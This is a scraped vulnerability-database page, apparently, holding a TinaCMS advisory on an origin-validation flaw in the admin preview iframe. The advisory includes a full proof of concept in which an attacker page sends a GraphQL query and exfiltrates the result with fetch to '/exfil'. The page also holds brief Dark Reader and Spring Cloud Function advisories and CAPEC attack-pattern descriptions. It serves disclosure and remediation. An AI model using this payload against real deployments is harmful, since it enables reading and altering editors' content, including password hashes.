(2026-06-26), which predates the `3.9.3` hardening release \u2014 but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.\n\nSuggested fix: normalise the splat to a same-origin path before it becomes `url` (reject a leading `/` or `\\`), and have `getExpectedPreviewOrigin` refuse any origin other than `window.location.origin`.\n\n### PoC\n\nSafe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository\u0027s `preview-origin.ts` byte-for-byte and reproduces `PreviewInner`/`Preview` line-for-line from the cited files; `cms.api.tina.request` is stubbed to return a marker so no real backend is touched.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc \u0026\u0026 git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker \u0026\u0026 cd /tmp/tina-poc\nnpm init -y \u003e/dev/null\nnpm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/app/src/lib/preview-origin.ts\" ./preview-origin.ts\n```\n\n`victim/admin.tsx` \u2014 `PreviewInner` from `packages/tinacms/src/admin/index.tsx:170-210`, `Preview` from `packages/@tinacms/app/src/preview.tsx:10-26`, and the four `graphql-reducer.ts` steps (`:209-212`, `:548-556`, `:613-624` + `:973-978`, `:497-505`):\n\n```tsx\nimport React from \u0027react\u0027;\nimport { createRoot } from \u0027react-dom/client\u0027;\nimport { HashRouter as Router, Route, Routes, useNavigate, useParams } from \u0027react-router-dom\u0027;\nimport { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from \u0027../preview-origin\u0027;\n\nconst log = (m: string, x?: unknown) =\u003e console.log(\u0027[victim]\u0027, x === undefined ? m : `${m} ${JSON.stringify(x)}`);\n\n// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin\n// this is an authenticated call to the content API with the editor\u0027s token.\nasync function tinaRequest(query: string) {\n log(\u0027cms.api.tina.request() called with attacker query\u0027, query);\n return { data: { __POC_MARKER__: \u0027SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE\u0027 } };\n}\n\nfunction useGraphQLReducer(iframe: React.MutableRefObject\u003cHTMLIFrameElement | null\u003e, url: string) {\n const expectedOrigin = React.useMemo(() =\u003e getExpectedPreviewOrigin(url), [url]); // :209-212\n React.useEffect(() =\u003e {\n log(\u0027expectedOrigin derived from preview url\u0027, { url, expectedOrigin });\n (window as any).__poc_expectedOrigin = expectedOrigin;\n }, [expectedOrigin, url]);\n\n const handleMessage = React.useCallback(async (event: MessageEvent\u003cany\u003e) =\u003e {\n if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556\n if (event.data.type === \u0027open\u0027) { // :613-624\n log(\u0027ACCEPTED \"open\" message from\u0027, event.origin);\n const expandedData = await tinaRequest(event.data.query); // :973-978\n postMessageToPreview(iframe.current?.contentWindow,\n { type: \u0027updateData\u0027, id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505\n log(\u0027posted query result to\u0027, expectedOrigin);\n }\n }, [expectedOrigin]);\n\n React.useEffect(() =\u003e {\n window.addEventListener(\u0027message\u0027, handleMessage);\n return () =\u003e window.removeEventListener(\u0027message\u0027, handleMessage);\n }, [handleMessage]);\n}\n\nconst Preview = (props: { url: string; iframeRef: React.MutableRefObject\u003cHTMLIFrameElement | null\u003e }) =\u003e {\n useGraphQLReducer(props.iframeRef, props.url);\n return \u003ciframe data-test=\u0027tina-iframe\u0027 id=\u0027tina-iframe\u0027 ref={props.iframeRef}\n className=\u0027h-full w-full bg-white\u0027 src={props.url} /\u003e; // preview.tsx:24\n};\n\nconst PreviewInner = ({ preview }: { preview: any }) =\u003e { // admin/index.tsx:170-210\n const params = useParams();\n const navigate = useNavigate();\n const [url, setURL] = React.useState(`/${params[\u0027*\u0027]}`);\n const [reportedURL, setReportedURL] = React.useState\u003cstring | null\u003e(null);\n const ref = React.useRef\u003cHTMLIFrameElement\u003e(null);\n const paramURL = `/${params[\u0027*\u0027]}`;\n React.useEffect(() =\u003e { if (reportedURL !== paramURL \u0026\u0026 paramURL) setURL(paramURL); }, [paramURL]);\n React.useEffect(() =\u003e { if ((reportedURL !== url || reportedURL !== paramURL) \u0026\u0026 reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);\n React.useEffect(() =\u003e { // admin/index.tsx:189-200\n setInterval(() =\u003e {\n if (ref.current) {\n const url = new URL(ref.current.contentWindow?.location.href || \u0027\u0027);\n if (url.origin === \u0027null\u0027) { return; }\n const href = url.href.replace(url.origin, \u0027\u0027);\n setReportedURL(href);\n }\n }, 100);\n }, [ref.current]);\n React.useEffect(() =\u003e {\n log(\u0027iframe src computed from router splat\u0027, { \"params[\u0027*\u0027]\": params[\u0027*\u0027], url });\n (window as any).__poc_iframeSrc = url;\n }, [url]);\n const PreviewCmp = preview;\n return \u003cdiv\u003e\u003cPreviewCmp url={url} iframeRef={ref} /\u003e\u003c/div\u003e;\n};\n\ncreateRoot(document.getElementById(\u0027root\u0027)!).render(\n \u003cRouter\u003e\n \u003cRoutes\u003e\n \u003cRoute path=\u0027/~/*\u0027 element={\u003cPreviewInner preview={Preview} /\u003e} /\u003e {/* admin/index.tsx:329 */}\n \u003cRoute path=\u0027/\u0027 element={\u003cdiv\u003eadmin dashboard\u003c/div\u003e} /\u003e\n \u003c/Routes\u003e\n \u003c/Router\u003e\n);\n```\n\n`victim/index.html`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eTinaCMS admin (repro)\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\u003cdiv id=\"root\"\u003e\u003c/div\u003e\u003cscript type=\"module\" src=\"/admin.js\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n`attacker/evil.html`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\n\u003ch1\u003eattacker-controlled page framed by the TinaCMS admin\u003c/h1\u003e\n\u003cscript\u003e\n parent.postMessage({ type: \u0027open\u0027, id: \u0027poc-1\u0027,\n query: \u0027query { collection(collection: \"authentication\") { documents { edges { node { ... on Document { _values } } } } } }\u0027,\n variables: {}, data: {} }, \u0027*\u0027);\n window.addEventListener(\u0027message\u0027, (e) =\u003e {\n if (e.data \u0026\u0026 e.data.type === \u0027updateData\u0027) {\n fetch(\u0027/exfil?data=\u0027 + encodeURIComponent(JSON.stringify(e.data.data)), { mode: \u0027no-cors\u0027 });\n }\n });\n\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e\n```\n\n`run.cjs` \u2014 serves both origins, logs every attacker-server request, and runs a control fragment and the crafted fragment:\n\n```js\nconst http=require(\u0027http\u0027),fs=require(\u0027fs\u0027),path=require(\u0027path\u0027),{chromium}=require(\u0027playwright\u0027);\nconst VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];\nfunction serve(dir,port,onHit){const s=http.createServer((req,res)=\u003e{const u=new URL(req.url,`http://127.0.0.1:${port}`);\n if(onHit)onHit(req.method+\u0027 \u0027+u.pathname+u.search);\n if(u.pathname.startsWith(\u0027/exfil\u0027)){res.writeHead(204).end();return;}\n const f=path.join(dir,u.pathname===\u0027/\u0027?\u0027/index.html\u0027:u.pathname);\n if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end(\u0027nf\u0027);return;}\n res.writeHead(200,{\u0027content-type\u0027:f.endsWith(\u0027.js\u0027)?\u0027text/javascript\u0027:\u0027text/html; charset=utf-8\u0027});res.end(fs.readFileSync(f));});\n return new Promise(r=\u003es.listen(port,\u0027127.0.0.1\u0027,()=\u003er(s)));}\n(async()=\u003e{const v=await serve(path.join(HERE,\u0027victim\u0027),VICTIM_PORT);\n const a=await serve(path.join(HERE,\u0027attacker\u0027),ATTACKER_PORT,h=\u003eattackerHits.push(h));\n const browser=await chromium.launch({executablePath:\u0027/usr/bin/google-chrome\u0027});const results={};\n for(const scenario of [\u0027control\u0027,\u0027attack\u0027]){attackerHits.length=0;\n const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];\n page.on(\u0027console\u0027,m=\u003elogs.push(m.text()));\n const hash=scenario===\u0027control\u0027?\u0027#/~/posts/hello-world\u0027:`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;\n await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);\n results[scenario]={hash,\n iframeSrc:await page.evaluate(()=\u003ewindow.__poc_iframeSrc),\n expectedOriginTrustedByAdmin:await page.evaluate(()=\u003ewindow.__poc_expectedOrigin),\n framesLoaded:page.frames().map(f=\u003ef.url()),\n attackerServerHits:[...attackerHits],\n victimConsole:logs.filter(l=\u003el.startsWith(\u0027[victim]\u0027))};\n await ctx.close();}\n await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-poc\nnpx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \\\n --loader:.tsx=tsx --define:process.env.NODE_ENV=\u0027\"production\"\u0027\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n \"control\": {\n \"hash\": \"#/~/posts/hello-world\",\n \"iframeSrc\": \"/posts/hello-world\",\n \"expectedOriginTrustedByAdmin\": \"http://127.0.0.1:8801\",\n \"framesLoaded\": [\n \"http://127.0.0.1:8801/index.html#/~/posts/hello-world\",\n \"http://127.0.0.1:8801/posts/hello-world\"\n ],\n \"attackerServerHits\": [],\n \"victimConsole\": [\n \"[victim] expectedOrigin derived from preview url {\\\"url\\\":\\\"/posts/hello-world\\\",\\\"expectedOrigin\\\":\\\"http://127.0.0.1:8801\\\"}\",\n \"[victim] iframe src computed from router splat {\\\"params[\u0027*\u0027]\\\":\\\"posts/hello-world\\\",\\\"url\\\":\\\"/posts/hello-world\\\"}\"\n ]\n },\n \"attack\": {\n \"hash\": \"#/~//127.0.0.1:8802/evil.html\",\n \"iframeSrc\": \"//127.0.0.1:8802/evil.html\",\n \"expectedOriginTrustedByAdmin\": \"http://127.0.0.1:8802\",\n \"framesLoaded\": [\n \"http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html\",\n \"http://127.0.0.1:8802/evil.html\"\n ],\n \"attackerServerHits\": [\n \"GET /evil.html\",\n \"GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D\"\n ],\n \"victimConsole\": [\n \"[victim] expectedOrigin derived from preview url {\\\"url\\\":\\\"//127.0.0.1:8802/evil.html\\\",\\\"expectedOrigin\\\":\\\"http://127.0.0.1:8802\\\"}\",\n \"[victim] iframe src computed from router splat {\\\"params[\u0027*\u0027]\\\":\\\"/127.0.0.1:8802/evil.html\\\",\\\"url\\\":\\\"//127.0.0.1:8802/evil.html\\\"}\",\n \"[victim] ACCEPTED \\\"open\\\" message from \\\"http://127.0.0.1:8802\\\"\",\n \"[victim] cms.api.tina.request() called with attacker query \\\"query { collection(collection: \\\\\\\"authentication\\\\\\\") { documents { edges { node { ... on Document { _values } } } } } }\\\"\",\n \"[victim] posted query result to \\\"http://127.0.0.1:8802\\\"\"\n ]\n }\n}\n```\n\nExpected vulnerable output \u2014 in `attack`: `iframeSrc` protocol-relative, `expectedOriginTrustedByAdmin` equal to the **attacker\u0027s** origin, a frame served by the attacker, and both `GET /evil.html` and `GET /exfil?data=...` on the attacker server. All held.\n\nControl \u2014 `#/~/posts/hello-world` keeps the frame same-origin, keeps `expectedOrigin` on the victim origin, and produces zero attacker hits. That is what the crafted fragment should also do once fixed.\n\n**Supporting check \u2014 attacker mutations survive `expandQuery` and validate against a real Tina schema**\n\n```bash\nmkdir -p /tmp/tina-expand \u0026\u0026 cd /tmp/tina-expand\nnpm init -y \u003e/dev/null \u0026\u0026 npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0\ncp \"$REPO/packages/@tinacms/app/src/lib/expand-query.ts\" ./expand-query.ts\ncat \u003e t.ts \u003c\u003c\u0027EOF\u0027\nimport * as G from \u0027graphql\u0027; import fs from \u0027fs\u0027; import { expandQuery } from \u0027./expand-query\u0027;\nconst schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, \u0027utf-8\u0027));\nconst ops: Record\u003cstring,string\u003e = {\n READ: `query { movieConnection { edges { node { _values } } } }`,\n MUTATE_UPDATE: `mutation { updateDocument(collection: \"movie\", relativePath: \"movie1.json\", params: {movie: {title: \"pwned\"}}) { __typename } }`,\n MUTATE_DELETE: `mutation { deleteDocument(collection: \"movie\", relativePath: \"movie1.json\") { __typename } }`,\n};\nfor (const [n, op] of Object.entries(ops)) {\n const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));\n const errs = G.validate(schema, G.parse(printed));\n console.log(`--- ${n} ---`);\n console.log(\u0027survives expandQuery + validates against the real Tina schema:\u0027, errs.length === 0);\n console.log(\u0027operation kept:\u0027, (G.parse(printed).definitions[0] as any).operation);\n}\nEOF\nnpx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs \u003e/dev/null\nSCHEMA=\"$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql\" node t.cjs\n```\n\nObserved output:\n\n```\n--- READ ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: query\n--- MUTATE_UPDATE ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: mutation\n--- MUTATE_DELETE ---\nsurvives expandQuery + validates against the real Tina schema: true\noperation kept: mutation\n```\n\n**Supporting check \u2014 router splat behaviour**\n\n```bash\nmkdir -p /tmp/tina-rr \u0026\u0026 cd /tmp/tina-rr \u0026\u0026 npm init -y \u003e/dev/null\nnpm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1\ncat \u003e t.cjs \u003c\u003c\u0027EOF\u0027\nconst { matchPath } = require(\u0027react-router-dom\u0027);\nfor (const p of [\u0027/~/posts/hello\u0027,\u0027/~//evil.example\u0027,\u0027/~/%2F%2Fevil.example\u0027]) {\n const s = matchPath({ path: \u0027/~/*\u0027 }, p)?.params[\u0027*\u0027];\n console.log(JSON.stringify(p), \u0027=\u003e params[\"*\"] =\u0027, JSON.stringify(s), \u0027=\u003e url =\u0027, JSON.stringify(\u0027/\u0027 + s));\n}\nEOF\nnode t.cjs\n```\n\nObserved output:\n\n```\n\"/~/posts/hello\" =\u003e params[\"*\"] = \"posts/hello\" =\u003e url = \"/posts/hello\"\n\"/~//evil.example\" =\u003e params[\"*\"] = \"/evil.example\" =\u003e url = \"//evil.example\"\n\"/~/%2F%2Fevil.example\" =\u003e params[\"*\"] = \"//evil.example\" =\u003e url = \"///evil.example\"\n```\n\n**Scope of the proof.** Executed and observed here: the protocol-relative `url`, the cross-origin frame load, the attacker origin becoming `expectedOrigin`, the repository\u0027s real `isFromTrustedPreviewOrigin` accepting the attacker\u0027s message, the attacker\u0027s operation string reaching the request function, the response being delivered to the attacker\u0027s origin, and attacker mutations validating against a repository-provided generated schema. Not executed: a call against a live TinaCloud or self-hosted backend \u2014 `cms.api.tina.request` was stubbed deliberately so the PoC contacts no external service and writes no data.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr\n```\n\nAll three PoCs were re-run after this report was drafted; the outputs above are those runs.\n\n### Impact\n\nOrigin validation error leading to a confused-deputy abuse of the content API. An unauthenticated remote attacker needs only to get a signed-in TinaCMS editor to open one link \u2014 the payload lives in the URL fragment, so it never reaches the server or its logs. The attacker then reads anything the editor can read (including, on self-hosted setups, the `authentication` collection holding PBKDF2 password hashes) and performs any mutation the editor can perform (`updateDocument`, `createDocument`, `deleteDocument`), with results delivered to the attacker\u0027s own origin. Two boundaries are crossed: the browser same-origin policy, and the content API\u0027s authorization.\n\nImpacted: every deployment serving the TinaCMS admin bundle (`tinacms build` output or `tinacms dev`). No configuration disables the `/~/*` route.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)",
"id": "GHSA-x34j-47hf-4xg7",
"modified": "2026-10-09T20:56:48Z",
"published": "2026-10-09T20:56:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-x34j-47hf-4xg7"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/pull/7522"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/commit/b57dbf4b56201aef15cd92caa49fd12ab96bbecf"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinacms/tinacms"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/app@2.5.14"
},
{
"type": "WEB",
"url": "https://github.com/tinacms/tinacms/releases/tag/tinacms@3.14.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment"
}
GHSA-X369-MCW8-8RVJ
Vulnerability from github – Published: 2026-03-04 18:18 – Updated: 2026-03-05 15:26Description
Dark Reader versions prior to 4.9.117 included a behavior where a website could request a style sheet from a locally running web server, for example http://localhost:8080/style.css, If an address was available and returned a text/css content type.
Patches
The problem was fixed in version 4.9.117, released on December 3, 2025. Most users received the update automatically. Users running manual builds must upgrade to version 4.9.117 or later.
The installed extension version number can be verified in Dark Reader's menu (More > All settings > About), browser settings, chrome://extensions or about:addons pages.
Users are encouraged not to disable automatic extension updates and use the latest browser version, as browser releases typically include multiple security fixes of varying severity.
NPM package
The issue does not affect developers using the darkreader NPM package for website integration. Developers using the setFetchMethod() API must ensure the cross-origin requests are restricted to the intended scope.
Custom forks
Developers using custom forks of earlier versions of Dark Reader to build other extensions, or integrating it into their apps or browsers, should review their implementation to ensure cross-origin requests are handled securely.
Acknowledgements
Security research performed by Brian Carpenter - Deep Fork Cyber.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "darkreader"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.9.117"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68467"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-346",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T18:18:23Z",
"nvd_published_at": "2026-03-04T22:16:11Z",
"severity": "LOW"
},
"details": "### Description\nDark Reader versions prior to 4.9.117 included a behavior where a website could request a style sheet from a locally running web server, for example `http://localhost:8080/style.css`, If an address was available and returned a `text/css` content type.\n\n### Patches\nThe problem was fixed in version 4.9.117, released on December 3, 2025. Most users received the update automatically. Users running manual builds must upgrade to version 4.9.117 or later.\n\nThe installed extension version number can be verified in Dark Reader\u0027s menu (More \u003e All settings \u003e About), browser settings, `chrome://extensions` or `about:addons` pages.\n\nUsers are encouraged not to disable automatic extension updates and use the latest browser version, as browser releases typically include multiple security fixes of varying severity.\n\n### NPM package\n\nThe issue does not affect developers using the `darkreader` NPM package for website integration. Developers using the `setFetchMethod()` API must ensure the cross-origin requests are restricted to the intended scope.\n\n### Custom forks\n\nDevelopers using custom forks of earlier versions of Dark Reader to build other extensions, or integrating it into their apps or browsers, should review their implementation to ensure cross-origin requests are handled securely.\n\n### Acknowledgements\nSecurity research performed by [Brian Carpenter](https://x.com/geeknik) - [Deep Fork Cyber](https://deepforkcyber.com/).",
"id": "GHSA-x369-mcw8-8rvj",
"modified": "2026-03-05T15:26:18Z",
"published": "2026-03-04T18:18:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/darkreader/darkreader/security/advisories/GHSA-x369-mcw8-8rvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68467"
},
{
"type": "PACKAGE",
"url": "https://github.com/darkreader/darkreader"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dark Reader gives users the ability to request style sheets from local web servers"
}
GHSA-X389-8JH6-XRXM
Vulnerability from github – Published: 2026-08-27 21:31 – Updated: 2026-08-27 21:31Implementation of isSecure() call of ServerlessHttpServletRequest does not verify the actual scheme. Spring Cloud Function 5.0.0 - 5.0.3 Spring Cloud Function 4.3.0 - 4.3.4 Spring Cloud Function 4.2.0 - 4.2.7
{
"affected": [],
"aliases": [
"CVE-2026-59297"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T20:17:55Z",
"severity": "LOW"
},
"details": "Implementation of isSecure() call of ServerlessHttpServletRequest does not verify the actual scheme.\nSpring Cloud Function 5.0.0 - 5.0.3\nSpring Cloud Function 4.3.0 - 4.3.4\nSpring Cloud Function 4.2.0 - 4.2.7",
"id": "GHSA-x389-8jh6-xrxm",
"modified": "2026-08-27T21:31:43Z",
"published": "2026-08-27T21:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59297"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-59297"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-160: Exploit Script-Based APIs
Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-510: SaaS User Request Forgery
An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.